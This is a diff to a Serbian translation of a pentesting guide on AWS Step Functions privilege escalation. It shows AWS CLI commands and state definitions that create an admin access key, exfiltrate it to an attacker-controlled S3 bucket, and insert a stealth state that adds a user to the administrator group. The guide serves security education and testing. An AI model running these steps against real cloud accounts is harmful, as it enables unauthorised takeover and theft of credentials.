diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md
index d53322266..746b71c1c 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md
@@ -4,32 +4,32 @@
## Step Functions
-Za više informacija o ovoj AWS usluzi, pogledajte:
+Za više informacija o ovom AWS servisu, pogledajte:
{{#ref}}
../../aws-services/aws-stepfunctions-enum.md
{{#endref}}
-### Task resursi
+### Resursi zadataka
-Ove privilege escalation techniques zahtevaće korišćenje određenih AWS Step Function resursa kako bi se izvršile željene privilege escalation akcije.
+Ove tehnike eskalacije privilegija zahtevaju korišćenje određenih resursa AWS Step Functions da bi se izvršile odgovarajuće akcije.
-Da biste proverili sve moguće akcije, možete otići u svoj AWS nalog, izabrati akciju koju želite da koristite i videti koje parametre koristi, kao na:
+Da biste proverili sve moguće akcije, možete otići u vaš AWS nalog, izabrati akciju koju želite da koristite i videti koje parametre koristi, kao na primeru:
-Ili možete otići u AWS API dokumentaciju i proveriti dokumentaciju za svaku akciju:
+Ili možete otići na AWS API dokumentaciju i proveriti dokumentaciju za svaku akciju:
- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
### `states:TestState` & `iam:PassRole`
-Napadač koji ima dozvole **`states:TestState`** i **`iam:PassRole`** može testirati bilo koje stanje i dodeliti mu bilo koju IAM rolu bez kreiranja ili ažuriranja postojeće state machine, što potencijalno omogućava neautorizovan pristup drugim AWS servisima sa privilegijama tih rola. U kombinaciji, ove dozvole mogu dovesti do opsežnih neautorizovanih radnji — od manipulacije workflow-ovima i izmene podataka, preko kompromitovanja podataka i manipulacije resursima, do privilege escalation.
+Napadač sa dozvolama **`states:TestState`** i **`iam:PassRole`** može testirati bilo koje stanje i proslediti mu bilo koju IAM ulogu bez kreiranja ili ažuriranja postojeće state machine, što potencijalno omogućava neovlašćen pristup drugim AWS servisima koristeći dozvole te uloge. U kombinaciji, ove dozvole mogu dovesti do širokog spektra neovlašćenih radnji — od manipulacije tokovima rada i izmena podataka do curenja podataka, manipulacije resursima i eskalacije privilegija.
```bash
-aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets]
+aws stepfunctions test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets]
```
-U sledećim primerima prikazano je kako testirati state koji kreira access key za korisnika **`admin`** koristeći ove dozvole i permisivnu rolu u AWS okruženju. Ova permisivna rola bi trebalo da ima pridruženu neku visoko-privilegovanu politiku (na primer **`arn:aws:iam::aws:policy/AdministratorAccess`**) koja omogućava state-u da izvrši akciju **`iam:CreateAccessKey`**:
+Sledeći primeri pokazuju kako testirati state koji kreira access key za korisnika **`admin`**, koristeći ove dozvole i permisivnu ulogu u AWS okruženju. Ova permisivna uloga treba da ima bilo koju politiku sa visokim privilegijama (na primer **`arn:aws:iam::aws:policy/AdministratorAccess`**) koja omogućava izvršenje akcije **`iam:CreateAccessKey`**:
- **stateDefinition.json**:
```json
@@ -42,7 +42,7 @@ U sledećim primerima prikazano je kako testirati state koji kreira access key z
"End": true
}
```
-- **Naredba** izvršena za izvođenje privesc:
+- **Komanda** izvršena za izvođenje privesc-a:
```bash
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole
@@ -59,23 +59,23 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
"status": "SUCCEEDED"
}
```
-**Potencijalni uticaj**: Neovlašćeno izvršavanje i manipulisanje workflow-ima i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih kompromisa.
+**Potencijalni uticaj**: Neovlašćeno izvršavanje i manipulacija tokovima rada i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih propusta.
### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
-Napadač koji ima **`states:CreateStateMachine`** i **`iam:PassRole`** može da kreira state machine i dodeli mu bilo koju IAM role, omogućavajući neovlašćen pristup drugim AWS servisima koristeći dozvole te role. Za razliku od prethodne privesc tehnike (**`states:TestState`** i **`iam:PassRole`**), ova se ne izvršava sama od sebe — takođe će vam biti potrebne dozvole **`states:StartExecution`** ili **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **nije dostupna za standard workflows**, **samo za express state machines**) da biste pokrenuli izvršenje state machine.
+Napadač koji ima **`states:CreateStateMachine`** i **`iam:PassRole`** mogao bi da kreira mašinu stanja i dodeli joj bilo koju IAM ulogu, omogućavajući neovlašćen pristup drugim AWS servisima sa privilegijama te uloge. Za razliku od prethodne privesc technique (**`states:TestState`** & **`iam:PassRole`**), ova se ne izvršava sama od sebe — biće vam potrebna i dozvola **`states:StartExecution`** ili **`states:StartSyncExecution`** (**`states:StartSyncExecution`** nije dostupan za standardne tokove rada, već samo za express state machines**) da biste pokrenuli izvršavanje te mašine stanja.
```bash
# Create a state machine
-aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\
+aws stepfunctions create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\
[--tracing-configuration ] [--publish | --no-publish] [--version-description ]
# Start a state machine execution
-aws states start-execution --state-machine-arn [--name ] [--input ] [--trace-header ]
+aws stepfunctions start-execution --state-machine-arn [--name ] [--input ] [--trace-header ]
# Start a Synchronous Express state machine execution
-aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ]
+aws stepfunctions start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ]
```
-Sledeći primeri pokazuju kako kreirati state machine koji kreira access key za korisnika **`admin`** i eksfiltrira ovaj access key u attacker-controlled S3 bucket, iskorišćavajući ove dozvole i permisivnu ulogu u AWS okruženju. Ova permisivna uloga treba da ima neku visoko-privilegovanu politiku pridruženu (na primer **`arn:aws:iam::aws:policy/AdministratorAccess`**) koja omogućava state machine da izvrši akcije **`iam:CreateAccessKey`** i **`s3:putObject`**.
+U sledećim primerima pokazano je kako kreirati state machine koji kreira access key za korisnika **`admin`** i eksfiltrira taj access key u S3 bucket koji kontroliše napadač, koristeći ove dozvole i permisivnu ulogu u AWS okruženju. Ova permisivna uloga treba da ima neku politiku visokih privilegija (na primer **`arn:aws:iam::aws:policy/AdministratorAccess`**) koja omogućava state machine-u da izvrši akcije **`iam:CreateAccessKey`** i **`s3:putObject`**.
- **stateMachineDefinition.json**:
```json
@@ -115,7 +115,7 @@ Sledeći primeri pokazuju kako kreirati state machine koji kreira access key za
}
}
```
-- **Komanda** izvršena da bi se kreirao **stroj stanja**:
+- **Naredba** izvršena za **kreiranje state machine**:
```bash
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
@@ -123,7 +123,7 @@ aws stepfunctions create-state-machine --name MaliciousStateMachine --definition
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
```
-- **Komanda** izvršena da **pokrene izvršavanje** prethodno kreiranog state machine-a:
+- **Naredba** izvršena da **pokrene izvršavanje** prethodno kreiranog stroja stanja:
```json
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
@@ -132,26 +132,26 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
}
```
> [!WARNING]
-> S3 bucket pod kontrolom napadača treba da ima dozvole da prihvati s3:PutObject akciju od računa žrtve.
+> S3 bucket koji kontroliše napadač treba da ima dozvole za prihvatanje s3:PutObject akcije iz žrtvinog naloga.
-**Potencijalni uticaj**: Neovlašćeno izvršavanje i manipulacija workflows i pristup osetljivim resursima, što može dovesti do ozbiljnih bezbednosnih povreda.
+**Potencijalni uticaj**: Neovlašćeno izvršavanje i manipulacija workflow-ima i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih propusta.
-### `states:UpdateStateMachine` & (nije uvek potrebno) `iam:PassRole`
+### `states:UpdateStateMachine` & (not always required) `iam:PassRole`
-Napadač sa **`states:UpdateStateMachine`** permisijom mogao bi da izmeni definiciju state machine-a, dodajući dodatne skrivenе state-ove koji bi mogli da završe u privilege escalation. Na taj način, kada legitimni korisnik pokrene izvršenje state machine-a, novi zlonamerni skriveni state će se izvršiti i privilege escalation će uspeti.
+Napadač sa dozvolom **`states:UpdateStateMachine`** mogao bi da izmeni definiciju state machine-a, dodajući dodatna neprimetna stanja koja bi mogla da dovedu do eskalacije privilegija. Na taj način, kada legitimni korisnik pokrene izvršavanje state machine-a, novo zlonamerno neprimetno stanje će se izvršiti i eskalacija privilegija će biti uspešna.
-U zavisnosti od toga koliko je permissive IAM Role povezan sa state machine-om, napadač bi se suočio sa 2 situacije:
+U zavisnosti od toga koliko je permisivna IAM Role povezana sa state machine-om, napadač bi se suočio sa 2 situacije:
-1. **Permissive IAM Role**: Ako je IAM Role povezan sa state machine-om već permissive (na primer ima prikačenu politiku **`arn:aws:iam::aws:policy/AdministratorAccess`**), onda **`iam:PassRole`** permisija ne bi bila potrebna za eskalaciju privilegija, jer ne bi bilo neophodno i menjati IAM Role — dovoljna je izmena definicije state machine-a.
-2. **Not permissive IAM Role**: Za razliku od prethodnog slučaja, ovde bi napadač takođe zahtevao **`iam:PassRole`** permisiju, pošto bi bilo neophodno povezati permissive IAM Role sa state machine-om pored izmene definicije state machine-a.
+1. **Permisivna IAM Role**: Ako je IAM Role povezana sa state machine-om već permisivna (npr. ima prikačen `arn:aws:iam::aws:policy/AdministratorAccess` policy), onda dozvola **`iam:PassRole`** ne bi bila potrebna za eskalaciju privilegija pošto neće biti neophodno ažurirati i IAM Role — dovoljna je izmena definicije state machine-a.
+2. **Nije permisivna IAM Role**: Suprotno od prethodnog slučaja, ovde bi napadač takođe zahtevao dozvolu **`iam:PassRole`** jer bi bilo neophodno da se poveže permisivna IAM Role sa state machine-om pored izmene definicije state machine-a.
```bash
-aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \
+aws stepfunctions update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \
[--tracing-configuration ] [--publish | --no-publish] [--version-description ]
```
-Sledeći primeri pokazuju kako ažurirati legitimni state machine koji samo poziva HelloWorld Lambda function, kako bi se dodalo dodatno stanje koje dodaje korisnika **`unprivilegedUser`** u **`administrator`** IAM Group. Na taj način, kada legitimni korisnik pokrene izvršavanje ažuriranog state machine-a, ovo novo zlonamerno prikriveno stanje biće izvršeno i eskalacija privilegija će biti uspešna.
+The following examples show how to update a legit state machine that just invokes a HelloWorld Lambda function, in order to add an extra state that adds the user **`unprivilegedUser`** to the **`administrator`** IAM Group. This way, when a legitimate user starts an execution of the updated state machine, this new malicious stealth state will be executed and the privilege escalation will be successful.
> [!WARNING]
-> Ako state machine nema pridruženu permisivnu IAM Role, biće takođe potrebna dozvola **`iam:PassRole`** da bi se ažurirala IAM Role u cilju povezivanja permisivne IAM Role (na primer ona koja ima prikačenu politiku **`arn:aws:iam::aws:policy/AdministratorAccess`**).
+> Ако state machine нема придружену permisivnu IAM Role, такође ће бити потребно дозвола **`iam:PassRole`** да би се ажурирала IAM Role у циљу повезивања permisivне IAM Role (на пример она која има придружену политику **`arn:aws:iam::aws:policy/AdministratorAccess`**).
{{#tabs }}
{{#tab name="Legit State Machine" }}
@@ -218,7 +218,7 @@ Sledeći primeri pokazuju kako ažurirati legitimni state machine koji samo pozi
{{#endtab }}
{{#endtabs }}
-- **Komanda** izvršena da **ažurira** **legitimni state machine**:
+- **Komanda** izvršena da **ažurira** **legitimnu state machine**:
```bash
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
@@ -226,6 +226,6 @@ aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-eas
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
```
-**Potencijalni uticaj**: Neovlašćeno izvršavanje i manipulacija tokovima rada, kao i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih kompromisa.
+**Potencijalni uticaj**: Neovlašćeno izvršavanje i manipulacija tokovima rada i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih proboja.
{{#include ../../../../banners/hacktricks-training.md}}